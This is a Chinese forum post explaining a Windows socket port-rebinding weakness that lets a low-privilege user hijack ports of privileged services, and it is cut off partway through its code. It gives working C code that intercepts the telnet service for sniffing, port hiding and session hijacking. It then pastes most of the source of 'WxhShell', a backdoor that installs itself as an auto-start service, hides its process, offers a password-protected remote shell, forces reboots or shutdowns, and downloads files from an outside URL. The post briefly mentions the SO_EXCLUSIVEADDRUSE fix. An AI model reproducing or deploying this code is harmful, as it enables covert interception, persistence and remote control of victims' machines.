社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16039阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J@ L9p46,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m3 ^/: <  
3pXLSdxB  
  saddr.sin_family = AF_INET; id?#TqD  
Dw2Q 'E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CN2_bz  
#RMI&[M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vi]c%*k  
7$k8%lI;>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oW$s xS  
$>R(W=Q  
  这意味着什么?意味着可以进行如下的攻击: [,~TaP}m  
.la&P,j_L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aVe/ gE  
W"Jn(:&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XTeb9h)3  
sLcFt1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )2Hff.  
*fO{ a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ue8qIZH  
~/IexQB&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 33~qgK1>  
1j\aH&)GH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fvxu >BK  
>?YNW   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ut#:1h^  
\;]kYO}  
  #include JeY' 8B  
  #include (D{Ys'{q  
  #include eeUp 1g  
  #include    bQa oMZB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fj 4^VXD  
  int main() \NXQ  
  { # 4|9Fj??  
  WORD wVersionRequested; L|^o7 1t|  
  DWORD ret; sFb4`  
  WSADATA wsaData; l[/q%Ca'>  
  BOOL val; -)<m S  
  SOCKADDR_IN saddr; s6=YV0w(  
  SOCKADDR_IN scaddr; TRKgBK$,  
  int err; )Hf~d=GG  
  SOCKET s; MFg'YA2/  
  SOCKET sc; IX?ZbtdX$`  
  int caddsize; qi+&|80T.  
  HANDLE mt; wH!#aB>kP  
  DWORD tid;   'H FKBp  
  wVersionRequested = MAKEWORD( 2, 2 ); jxy1  
  err = WSAStartup( wVersionRequested, &wsaData ); (3md:r<-  
  if ( err != 0 ) { yty` 2$O  
  printf("error!WSAStartup failed!\n"); 0k?Sq#7q  
  return -1; @+^c"=d1S  
  } acOJ]]  
  saddr.sin_family = AF_INET; * Zd_ HJi  
   =s'7$D}0.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HR3_@^<7  
4YJ=q% G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vSM_]fn  
  saddr.sin_port = htons(23); Y jup  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JCQ:+eqt  
  { " >6&+^BN'  
  printf("error!socket failed!\n"); O}gX{_|6  
  return -1; PZ34*q  
  } 3C"_$?y"  
  val = TRUE; B <+K<,S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0yHjrxc$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m1e b8yX  
  { \ $;~74}  
  printf("error!setsockopt failed!\n"); k,X74D+  
  return -1; d,R6` i  
  } :l~EE!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `{G?>z Fp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (/fT]6(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :^G%57NX  
>Me]m<$E;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +a]j[#  
  { u)7 ]1e{  
  ret=GetLastError();  N ?+eWY  
  printf("error!bind failed!\n"); ]xR4->eix  
  return -1; XOxB (0@  
  } 2 `5=0E1k  
  listen(s,2); )nnCCR S6  
  while(1) lf8xL9v  
  { !~d'{sy6  
  caddsize = sizeof(scaddr); vfXJYw+6_  
  //接受连接请求 kZK//YN#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o PaZ  
  if(sc!=INVALID_SOCKET) "=ElCaP}  
  { tzNaw %\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O!] ;_q/  
  if(mt==NULL) qsvpW%?aE  
  { sVcdj|j  
  printf("Thread Creat Failed!\n"); Q)+Y}  
  break; &gWiu9WbS  
  } #7\b\~5  
  } XSl!T/d  
  CloseHandle(mt); IM$0#2\  
  } }Eb]9c\  
  closesocket(s); A: c]1  
  WSACleanup(); g9|qbKQ:[  
  return 0; /4H[4m]I  
  }   }\4p3RQrz  
  DWORD WINAPI ClientThread(LPVOID lpParam) I <xy?{s  
  { (s Jq;Z  
  SOCKET ss = (SOCKET)lpParam; 0T1ko,C!,e  
  SOCKET sc;  s<d!+<  
  unsigned char buf[4096]; &_YtY47  
  SOCKADDR_IN saddr; W CoF{ *  
  long num; r!~(R+,c  
  DWORD val; Lxz  
  DWORD ret; >"bnpYSe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E+Im~=m$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5=m3J !?  
  saddr.sin_family = AF_INET; + lP5XY{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ boL`X  
  saddr.sin_port = htons(23); U81;7L8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $^K]&Mft  
  { O!yakU+  
  printf("error!socket failed!\n"); d>;2,srUf  
  return -1; >j) w\i  
  } 2@4x"F]U;  
  val = 100; Q QT G9s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E;xMPK$  
  {  A<2I!  
  ret = GetLastError(); .E#<fz  
  return -1; @Mzz2&(d U  
  } N:OD0m%`)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =p5?+3" @  
  { u\:rY)V  
  ret = GetLastError(); G{/;AK  
  return -1; ~~ U<  
  } z;U LQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Mq76]I%  
  { qPqy4V. ;  
  printf("error!socket connect failed!\n"); >/8ru*Oc  
  closesocket(sc); @T5YsX]qb7  
  closesocket(ss); c1PViko,>  
  return -1; 9^(HXH_f  
  } >6XDX=JVI  
  while(1) lD9%xCo9(  
  { T.J`S(oI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N4A&"1d&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [ k!-;mi   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7Nd*,DV_  
  num = recv(ss,buf,4096,0); 1 pa*T!  
  if(num>0) tF<^9stM  
  send(sc,buf,num,0); 4=~ 9v  
  else if(num==0) h-Tsi:%b  
  break; B%TXw#|  
  num = recv(sc,buf,4096,0); *1\z^4=a]  
  if(num>0) Xg,0/P~  
  send(ss,buf,num,0); j.<:00<  
  else if(num==0) mXQl;  
  break; eVZa6la"  
  } gW'P`Oxw  
  closesocket(ss); YR?3 61FK  
  closesocket(sc); 79 TPg  
  return 0 ; dVPq%[J2  
  } S&5Q~}{,  
oG+K '(BB  
di"C]" ;  
========================================================== 67}]s@:l](  
!'Pk jP  
下边附上一个代码,,WXhSHELL i:V0fBR[>  
j|&{e91,?  
========================================================== NQDLI 1o  
J"/ JRn  
#include "stdafx.h" ov?.:M  
AF6d#Klog  
#include <stdio.h> $?[1#%  
#include <string.h> N8,EI^W8Z  
#include <windows.h> Oyi;bb<#  
#include <winsock2.h> #=`FM:WH  
#include <winsvc.h> 3DxZ#/!  
#include <urlmon.h> T g3:VD  
'q{PtYr  
#pragma comment (lib, "Ws2_32.lib") di8W2cwz  
#pragma comment (lib, "urlmon.lib") 0 $n8b/%.  
DkDw>Nx<rs  
#define MAX_USER   100 // 最大客户端连接数 !T<z'zZU  
#define BUF_SOCK   200 // sock buffer ^t\kLU  
#define KEY_BUFF   255 // 输入 buffer jHs<s`#h  
W2}%zux  
#define REBOOT     0   // 重启 u&1j>`~qJ  
#define SHUTDOWN   1   // 关机 Ul '~opf  
*Gg1h@&  
#define DEF_PORT   5000 // 监听端口 >E//pr)_Km  
RnMBGxa  
#define REG_LEN     16   // 注册表键长度 *Te4U5F  
#define SVC_LEN     80   // NT服务名长度 l@,);w=_P  
o>xxmyW|  
// 从dll定义API mtSNl|O&{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u~' m7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XX]5T`D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r!{w93rPX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w o-O_uZB  
v+xgxQGYH  
// wxhshell配置信息 :)KTZ  
struct WSCFG { /2g)Z!&+L  
  int ws_port;         // 监听端口 vDu0  
  char ws_passstr[REG_LEN]; // 口令 ^/`#9]<%  
  int ws_autoins;       // 安装标记, 1=yes 0=no t 3(%UB  
  char ws_regname[REG_LEN]; // 注册表键名 _Vdb?  
  char ws_svcname[REG_LEN]; // 服务名 *k3 d^9o#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pr0@sri@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A2g"=x[1@K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jOoIF/So  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |1dEs,z\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rK(x4]I l"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dD/29b(  
Bq$e|t)'  
}; E3CiZ4=5  
Gt\K Ln  
// default Wxhshell configuration bR>o!(M'Z\  
struct WSCFG wscfg={DEF_PORT, T+AlcOP  
    "xuhuanlingzhe", p|bc=`TD  
    1, 37:b D  
    "Wxhshell", b qg]DO$*  
    "Wxhshell", |d/x~t=  
            "WxhShell Service", YLA557~  
    "Wrsky Windows CmdShell Service", <FUqD0sQ  
    "Please Input Your Password: ", j61BP8E  
  1, 1jUhG2y  
  "http://www.wrsky.com/wxhshell.exe", PBxK>a  
  "Wxhshell.exe" 48 c D3w  
    }; GvZac  
$L<_uqSk  
// 消息定义模块 [#hl}q(P#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WTV3p,;6a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #q~3c;ec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  qrkRD*a  
char *msg_ws_ext="\n\rExit."; p0[,$$pM  
char *msg_ws_end="\n\rQuit."; w+).pcG( *  
char *msg_ws_boot="\n\rReboot..."; =E{{/%u{{S  
char *msg_ws_poff="\n\rShutdown...";  \pewbu5^  
char *msg_ws_down="\n\rSave to "; Uf7F8JZmM  
9Th32}H  
char *msg_ws_err="\n\rErr!"; 7U{b+=,wK  
char *msg_ws_ok="\n\rOK!"; P xP?hk  
u'$yYzBE  
char ExeFile[MAX_PATH]; X5L(_0?F1  
int nUser = 0; :{wsd$Qlj  
HANDLE handles[MAX_USER]; +c]N]?k&  
int OsIsNt; Kbz7  
~*' 8=D?)  
SERVICE_STATUS       serviceStatus; }GoOE=rhY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5|6z1{g8  
_pH6uuB  
// 函数声明 8H 3!; ]  
int Install(void); s!j(nUd/  
int Uninstall(void); uwH)/BW)[  
int DownloadFile(char *sURL, SOCKET wsh); r_g\_y7ua  
int Boot(int flag); 7uv/@(J"$  
void HideProc(void); SVg@xu+  
int GetOsVer(void); d5sGkR`(  
int Wxhshell(SOCKET wsl); ~G{$P'[  
void TalkWithClient(void *cs); 0>~6Z  
int CmdShell(SOCKET sock); -aH?7HV}  
int StartFromService(void); CJ}@R.Zy  
int StartWxhshell(LPSTR lpCmdLine); QN}3S0  
ltr;pc*)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DETajf/<F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y1\^v_.^  
:i,c<k  
// 数据结构和表定义 ktw!T{  
SERVICE_TABLE_ENTRY DispatchTable[] = !aW*dD61  
{ B yy-Cc  
{wscfg.ws_svcname, NTServiceMain}, JIY ^N9_  
{NULL, NULL} P2 K>|r  
}; /_k hFw  
u'~b<@wHB  
// 自我安装 ]!tYrSM!  
int Install(void) @rK>yPhf  
{ O 44IH`SI  
  char svExeFile[MAX_PATH]; Z;~E+dXC  
  HKEY key; 0m+5Zn  
  strcpy(svExeFile,ExeFile); L$TKO,T  
0ZID @^  
// 如果是win9x系统,修改注册表设为自启动 Eps\iykB  
if(!OsIsNt) { U70@}5!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 ?|; on  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zIYr0k*%  
  RegCloseKey(key); (fGJP*YO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P=sK+}5`q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h&k ^l,  
  RegCloseKey(key); #`#aSqGmc  
  return 0; }PIGj}F/  
    } f\F_?s)_y  
  } 3~3(G[w  
} g*AD$":  
else {  0[!gk]p  
9uq+Ve>  
// 如果是NT以上系统,安装为系统服务 CTbhwY(/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p4t!T=o/  
if (schSCManager!=0) d$pf[DJQo  
{ fddbXs0Sn  
  SC_HANDLE schService = CreateService :V-}Sde  
  ( 4\'81"e i  
  schSCManager, E5[]eg~w%{  
  wscfg.ws_svcname, sv{0XVn+^  
  wscfg.ws_svcdisp, iJKm27 ">  
  SERVICE_ALL_ACCESS, _M]rH<h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gl7vM  
  SERVICE_AUTO_START, @~U6=(+  
  SERVICE_ERROR_NORMAL, K"6+X|yxE  
  svExeFile, v/ 00L R  
  NULL, O<d?'{  
  NULL, rNzhP*Fw  
  NULL, .6Lhy3x  
  NULL, H"RF[bX(  
  NULL 10I`AjF0  
  ); 6k=Wt7C  
  if (schService!=0) D%Jc?6/I#3  
  { [[r3fEr$!p  
  CloseServiceHandle(schService); 4k2c mM$  
  CloseServiceHandle(schSCManager); FQ~ead36C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R6@~   
  strcat(svExeFile,wscfg.ws_svcname); RJs G]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b= ec?n #7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AFB 7s z  
  RegCloseKey(key); X-r,>o:  
  return 0; nIKT w  
    } mF:s-+  
  } k+GK1Yl  
  CloseServiceHandle(schSCManager); AXv;r<  
} sS2E8Z2  
} bOIM0<(h  
Y*`A$  
return 1; QDT{Xg* I  
} iK:qPrk-  
a;owG/\p  
// 自我卸载 !#gE'(J;c  
int Uninstall(void) `iayh  
{ Odjd`DD1  
  HKEY key; $`dNl#G,  
4N=Ie}_`  
if(!OsIsNt) { rxI&;F#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -/2$P  
  RegDeleteValue(key,wscfg.ws_regname); ! E#.WX  
  RegCloseKey(key); Vyq<T(5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ollv _o3  
  RegDeleteValue(key,wscfg.ws_regname); 8=o5;]Cg  
  RegCloseKey(key); ~ 2oP,  
  return 0; BW-P%:B1!R  
  } Zy3&Zt  
} vA-p} ]%  
} ~#km0<r?  
else { u#,'ys  
r<"/P`r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .EZ{d  
if (schSCManager!=0) j3-6WUO  
{ j/mp.'P1k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z3~*R7G8>  
  if (schService!=0) % j{pz  
  { ^o\p|f>f  
  if(DeleteService(schService)!=0) { w>BFgb?  
  CloseServiceHandle(schService); Q~!hr0 ZR  
  CloseServiceHandle(schSCManager); CuO*>g^K[  
  return 0; <n#V  
  } pyJOEL]1F  
  CloseServiceHandle(schService); m_I$"ge  
  } _`[6jhNa!  
  CloseServiceHandle(schSCManager); (NN14  
} oYErG] ,  
} }lpm Hvs  
PR6uw  
return 1; xxcDd_z  
} H[k3)r2  
?s} E<Kr  
// 从指定url下载文件 >:E-^t%  
int DownloadFile(char *sURL, SOCKET wsh) q$'&RG  
{ l:,UN07s  
  HRESULT hr; U (7P X`1  
char seps[]= "/"; ,O{ 5   
char *token; ts!aKx  
char *file; IqKXFORiNI  
char myURL[MAX_PATH]; gc[J.[  
char myFILE[MAX_PATH]; ;]x5;b9`  
A1$'[8U~3  
strcpy(myURL,sURL); qk1D#1vl  
  token=strtok(myURL,seps); Qug'B  
  while(token!=NULL) yP]W\W'  
  { e-)1K  
    file=token; J c^ozw  
  token=strtok(NULL,seps); m48Y1'4  
  } }AYSQ~:  
_'p;V[(+M  
GetCurrentDirectory(MAX_PATH,myFILE); gdNp2b  
strcat(myFILE, "\\"); pT$AdvI]  
strcat(myFILE, file); =JH,RQ *  
  send(wsh,myFILE,strlen(myFILE),0); &bu`\|V  
send(wsh,"...",3,0); .]c:Zt}P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @?? 6)C  
  if(hr==S_OK) RUh{^3;~  
return 0; C,u.!g;lm  
else v"_#.!V  
return 1; B*N8:u  
&r!>2$B\  
} P~Owvs/=  
`Db}q^mQ  
// 系统电源模块 p:%E>K1<  
int Boot(int flag) Av]N.HB$  
{ H`@7o8oj1  
  HANDLE hToken; SX;IUvVE5  
  TOKEN_PRIVILEGES tkp; 4q8%!\A+  
<P- r)=^  
  if(OsIsNt) { dUSuhT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R.;59s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C( ;7*]  
    tkp.PrivilegeCount = 1; y&]D2"I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u\?u}t v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,1L^#?Q~  
if(flag==REBOOT) { b1!%xdy_T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ABGL9;.8  
  return 0;  sOmYQ{R  
} Mq?21gW  
else { e~dU "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2&#iHv  
  return 0; 8/v_uEG  
} r; !us~  
  } n\U6oJN  
  else { j)Gr@F>  
if(flag==REBOOT) { K)ib{V(50  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H;`@SJBf  
  return 0; a8TE  
} Jo]g{GX[  
else { JG4I-\+H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ye\%o[X  
  return 0; z)Gr`SA<  
} QKxu vW  
} d"a`?+(Q  
V,}cDT>  
return 1; ww*F}}(  
} 5Jp>2d  
'WoX-y  
// win9x进程隐藏模块 WObfHAp.  
void HideProc(void) UF4QPPH4  
{ Zzs pE}  
%' Fc%3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +8"H%#~  
  if ( hKernel != NULL ) 89l}6p/L  
  { ~QXNOtVsN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h2 y@xnn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _G42|lA$/  
    FreeLibrary(hKernel); nr}H;wB  
  } @ggM5mm  
~W4<M:R  
return; }v{F9dv  
} XOoND  
4Y'qo M;  
// 获取操作系统版本 s_|wvOW)'  
int GetOsVer(void) quR':=S5f  
{ g.'4uqU  
  OSVERSIONINFO winfo; /D~:Ufw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xc.~6nYp  
  GetVersionEx(&winfo); tfsG P]9$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h&XyMm9C  
  return 1; :98Pe6  
  else CUoMB r  
  return 0; !Bd2$y.  
} l\bBc, %jt  
\J6T:jeS,  
// 客户端句柄模块 .w`8_v&Y  
int Wxhshell(SOCKET wsl) #nnP.t m  
{ "8N]1q:$4  
  SOCKET wsh; 6@ + >UZr\  
  struct sockaddr_in client; dW91nTQ:  
  DWORD myID; x;N?'"GP  
SFuzH)+VO  
  while(nUser<MAX_USER) @0aUWG!k  
{ Z)HQlm  
  int nSize=sizeof(client); C>LkU|[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j1g^Q$B>m  
  if(wsh==INVALID_SOCKET) return 1; B^oXUEOImq  
p B )nQ5l'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g{&ux k);  
if(handles[nUser]==0) sI`Lsd'V  
  closesocket(wsh); h><;TAp  
else <yeG0`}t  
  nUser++; qsJo)SA  
  } 0 {w?u%'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z\v\T|C  
E*[X\70  
  return 0; LJT+tb?K  
} S\Q/ "Y  
hhwV)Z  
// 关闭 socket "# JRw  
void CloseIt(SOCKET wsh) n U/v(lN  
{ <^M`U>   
closesocket(wsh); *.20YruU;j  
nUser--; :?&N/ 7  
ExitThread(0); o-R;EbL  
} #b:8-Lt:M  
2@=JIMtc  
// 客户端请求句柄 KyDQ<Dq&  
void TalkWithClient(void *cs) XjWoUnz  
{ C:W}hA!  
)Nk^;[  
  SOCKET wsh=(SOCKET)cs; P#6y  
  char pwd[SVC_LEN]; D guAeK  
  char cmd[KEY_BUFF]; m"NZ;*d'  
char chr[1]; &c0U\G|j  
int i,j; Q4C28-#  
M&xfQNE   
  while (nUser < MAX_USER) { 7\eN 8+  
?> }bg  
if(wscfg.ws_passstr) { +:;r} 7Zh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !|hv49!H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eQNo'cz  
  //ZeroMemory(pwd,KEY_BUFF); )9,9yd~SI  
      i=0; 8I3"68c_a  
  while(i<SVC_LEN) { h`,dg%J*B  
7$k[cL1  
  // 设置超时 9PIm/10pP^  
  fd_set FdRead; IZoa7S&t  
  struct timeval TimeOut; x)h5W+$  
  FD_ZERO(&FdRead); # KK>D?.:  
  FD_SET(wsh,&FdRead); zaf%%  
  TimeOut.tv_sec=8; hU@ 9vU<U  
  TimeOut.tv_usec=0; UJ<eF/KSmG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oe5=2~4O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Tt<Ry'Z$3  
y7txIe!<5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|;`qU o  
  pwd=chr[0]; ]z;%%'gW6  
  if(chr[0]==0xd || chr[0]==0xa) { tgKmC I  
  pwd=0; ORD@+ {  
  break; f =B)jYI  
  } dUyit-  
  i++; :%~+&qS  
    } 2'$p(  
17 Hdj  
  // 如果是非法用户,关闭 socket @.6l^"L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <p;cR` %uE  
} K\v1o  
uW },I6g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xkk m~sM6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3@f@4t@5V  
E`}KVi57  
while(1) { g-q~0  
;9MsV.n  
  ZeroMemory(cmd,KEY_BUFF); *"2TT})   
f$[6]7P  
      // 自动支持客户端 telnet标准   }J$Q  
  j=0; I"eXoqh  
  while(j<KEY_BUFF) { c&vY0/ [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8wKF.+_A  
  cmd[j]=chr[0]; apPn>\O  
  if(chr[0]==0xa || chr[0]==0xd) { }D-h=,];  
  cmd[j]=0; x<W`2Du  
  break; rf?Q# KM\W  
  } }@>=,A4Y  
  j++; `'H"|WsT  
    } Lwm2:_\_b  
xj~5/)XX|X  
  // 下载文件 o[pv.:w  
  if(strstr(cmd,"http://")) { tEhYQZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `],'fT|,S  
  if(DownloadFile(cmd,wsh)) eAR]~ NiW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hY X H9:  
  else Uv?s<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `&xo;Vnc  
  } ?UuJk  
  else { UT!gAU  
b.V\E Ok  
    switch(cmd[0]) { ". #=_/op  
  'S]7:/CI  
  // 帮助 x@/ N9*  
  case '?': { L>VZ-j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c]3% wL  
    break; s8 S[w   
  } =>Ss:SGjT  
  // 安装 ~$xLR/{y  
  case 'i': { *[K\_F?^h  
    if(Install()) Rrh?0qWs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'m&<g,  
    else 0Yk@O) x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lYEMrr!KQw  
    break; {!h|(xqN+  
    } g_'F(An  
  // 卸载 pt[H5  
  case 'r': { AfAg#75q  
    if(Uninstall()) (3PkTQlE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV|(V>  
    else !}%,rtI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|.,lb |L  
    break; *j9{+yO{ZE  
    } L,G{ t^j  
  // 显示 wxhshell 所在路径 c *<"&  
  case 'p': { 8/lv,m#  
    char svExeFile[MAX_PATH]; 2E]SKpJ  
    strcpy(svExeFile,"\n\r"); 5cLq6[uO  
      strcat(svExeFile,ExeFile); oS3}xT" U  
        send(wsh,svExeFile,strlen(svExeFile),0); m?LnO5Vs  
    break; P=v 0|Y*q|  
    } *6uZ"4rb.  
  // 重启 }py6H[  
  case 'b': { ?1%/G<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x\HHu]  
    if(Boot(REBOOT)) 0V{a{>+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9[.vtk\iyH  
    else { w#V{'{DKp  
    closesocket(wsh); 8I=n9Uyz  
    ExitThread(0); 5:[<pY!s#  
    } m|mY_t  
    break; H"v3?g`S%  
    } #=6A[<qX  
